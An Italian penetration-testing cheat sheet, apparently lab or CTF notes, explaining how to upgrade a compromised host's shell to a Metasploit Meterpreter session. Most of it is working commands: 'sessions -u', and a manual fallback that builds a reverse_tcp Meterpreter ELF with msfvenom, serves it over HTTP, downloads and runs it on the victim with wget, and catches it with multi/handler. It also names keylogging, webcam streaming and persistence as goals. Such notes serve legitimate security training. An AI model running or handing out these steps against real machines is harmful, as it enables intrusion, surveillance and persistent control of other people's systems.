Modulo
> 🔐 Scenario: Abbiamo ottenuto una shell normale ad esempio tramite exploit command injection, file upload, ecc. e desideriamo passare a una sessione Meterpreter, più potente e flessibile. ---
🧠 Upgrade da Shell Normale a Meterpreter (MSF)
🔐 Scenario: Abbiamo ottenuto una shell normale (ad esempio tramite exploit command injection, file upload, ecc.) e desideriamo passare a una sessione Meterpreter, più potente e flessibile.
🎯 Obiettivo
Convertire una shell reverse ottenuta tramite netcat o simile in una sessione Meterpreter, per abilitare funzionalità avanzate come:
- Pivoting
- Keylogging
- File browsing interattivo
- Screenshot
- Webcam streaming
- E molto altro
🔧 Prerequisiti
- Accesso a una shell attiva nella console di
msfconsole
- La shell deve essere attiva come sessione all'interno di Metasploit
- Permessi adeguati sulla macchina vittima
- In alcuni casi, supporto per
wgetocurlper il download del payload sulla macchina target
📌 Comandi Step-by-Step
#### 1. Mettere in background la shell
Quando hai il controllo della shell normale:
Ctrl + ZQuesto ti riporta alla console principale di msfconsole, lasciando la sessione attiva in background.
#### 2. Visualizzare le sessioni attive
sessionsOutput esemplificativo:
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x86/linux root@victim 10.10.14.5:4444 -> 10.10.10.10:51515 (10.10.10.10)#### 3. Eseguire l’upgrade verso Meterpreter
sessions -u <ID_SESSIONE>Esempio:
sessions -u 1Questo attiva automaticamente un payload Meterpreter sulla sessione selezionata, sfruttando un modulo di post/multi/manage/shell_to_meterpreter.
#### 4. Verifica dell’avvenuto upgrade
Una volta completato, esegui:
sessionsDovresti vedere una nuova sessione con tipo meterpreter.
💡 Note Tecniche
- Questo metodo utilizza un payload reverse tcp Meterpreter inviato dalla macchina Kali.
- Potrebbe non funzionare se:
wget, curl o simili.
- Il firewall blocca le nuove connessioni reverse.
- La shell iniziale è troppo limitata (es: non interattiva).
🛠 Tecnica Alternativa Manuale (Se lo script automatico fallisce)
1. Carica manualmente il payload:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<tuo_ip> LPORT=4444 -f elf > meterpreter.elf2. Hosta il payload:
sudo python3 -m http.server 803. Scarica sulla vittima (da shell normale):
wget http://<tuo_ip>/meterpreter.elf -O /tmp/meterpreter.elf
chmod +x /tmp/meterpreter.elf4. Avvia il listener:
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST <tuo_ip>
set LPORT 4444
run
5. Esegui il payload sulla macchina vittima
/tmp/meterpreter.elf📦 Modulo usato da sessions -u
Il comando sessions -u utilizza internamente:
post/multi/manage/shell_to_meterpreter🧩 Best Practice
- Subito dopo l’upgrade, eseguire
sysinfoogetuidper verificare la stabilità e i permessi.
- Aggiungere un persistence module se necessario.
- Evitare connessioni lente o insicure: preferire
reverse_httpsdove possibile.